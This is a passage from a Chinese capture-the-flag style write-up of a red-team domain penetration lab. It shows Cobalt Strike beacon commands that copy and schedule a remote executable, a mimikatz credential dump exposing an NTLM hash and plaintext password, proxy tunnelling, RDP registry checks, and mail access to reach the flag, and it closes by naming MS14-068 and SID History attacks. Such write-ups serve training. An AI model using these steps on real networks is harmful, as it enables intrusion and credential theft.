[10.0.0.7c$ ] Tasked beacon to run: copy zhuanfa2.exe \
[62 bytes ] host called home, sent:
[ ] received output:
已复制 1 个文件。
beacon> shell dir \10.0.0.7c$
[10.0.0.7c$ ] Tasked beacon to run: dir \
[48 bytes ] host called home, sent:
[ ] received output:
驱动器 \10.0.0.7c$ 中的卷没有标签。
卷的序列号是 DC36-D173
\10.0.0.7c$ 的目录
2009/07/14 11:20 <DIR> PerfLogs
2024/03/30 09:47 <DIR> Program Files
2023/02/13 17:36 <DIR> Program Files (x86)
2023/02/13 17:31 <DIR> Users
2024/03/30 09:47 <DIR> Windows
2024/03/30 16:22 295,936 zhuanfa2.exe
1 个文件 295,936 字节
5 个目录 26,021,822,464 可用字节
查看目标系统时间,at设置定时任务在10.0.0.7上执行zhuanfa2.exe
beacon> shell net time \10.0.0.7
[10.0.0.7 ] Tasked beacon to run: net time \
[50 bytes ] host called home, sent:
[ ] received output:
\10.0.0.7 的当前时间是 2024/3/30 16:27:10
命令成功完成。
beacon> shell at \10.0.0.7 16:28 C:zhuanfa2.exe
[10.0.0.7 16:28 C:zhuanfa2.exe ] Tasked beacon to run: at \
[66 bytes ] host called home, sent:
[ ] received output:
新加了一项作业,其作业 ID = 1
WORK机器成功上线CS
至此整个靶场环境所有机器均已拿下
远程桌面登录获取flag
抓取密码
mimikatz sekurlsa::logonpasswords
Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
host called home, sent: 788090 bytes
received output:
......
Authentication Id : 0 ; 1101801 (00000000:0010cfe9)
Session : Interactive from 1
User Name : liuyuan
Domain : REDTEAM
Logon Server : OWA
Logon Time : 2024/3/30 9:48:34
SID : S-1-5-21-3044561657-3490269564-1163119649-1131
msv :
CredentialKeys
NTLM : ae4c0d5fb959fda8f4cb1d14a8376af4
SHA1 : ba6d52c74ee28d9e99d3d08b80e6557f5d894942
Primary
Username : liuyuan
Domain : REDTEAM
NTLM : ae4c0d5fb959fda8f4cb1d14a8376af4
SHA1 : ba6d52c74ee28d9e99d3d08b80e6557f5d894942
tspkg :
wdigest :
Username : liuyuan
Domain : REDTEAM
Password : Admin123456
kerberos :
Username : liuyuan
Domain : REDTEAM.LAB
Password : Admin123456
ssp :
credman :
......
抓到REDTEAMliuyuan的明文密码Admin123456
在OWA机器的会话开启一个SOKCS代理
配置Proxifier走这个代理隧道
使用ADExplorer登录域控查看LDAP
找到CN=liuyuan,OU=财务部,OU=渗透攻击红队,DC=redteam,DC=lab
liuyuan的邮箱账户为[email protected]
查看当前机器是否开启远程桌面
beacon> shell REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
["HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections ] Tasked beacon to run: REG QUERY
[132 bytes ] host called home, sent:
[ ] received output:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server
fDenyTSConnections REG_DWORD 0x0
0x0表示是开启的状态
查看远程桌面端口
beacon> shell REG QUERY "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber
["HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /V PortNumber ] Tasked beacon to run: REG QUERY
[144 bytes ] host called home, sent:
[ ] received output:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp
PortNumber REG_DWORD 0xd3d
端口是默认的3389
mstsc远程桌面使用liuyuan用户登录
运行桌面的OutLook客户端即可登录liuyuan的邮箱
在草稿箱找到Flag提示
最终flag:Flag{RedTeamAPT2023}
04
—
靶场总结
外网打点时使用自动化EXP遇到了disable_funtions的限制,需要自己手动bp抓包去复现漏洞,寻找突破口。这次的内网有一个子域一个父域,在子域中利用MS14-068获取到子域域控权限,后利用Sid History进行跨域攻击拿下父域域控,相比单纯的获取服务器权限,最后还多考察了域内机器的信息收集,通过远程桌面连接到域内个人机器,查看OutLook客户端来获取到最终的Flag
点点关注不迷路
喜欢的看官还请多多点赞转发
原文始发于微信公众号(sec0nd安全):内网靶场 | 渗透攻击红队APT域渗透靶场
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论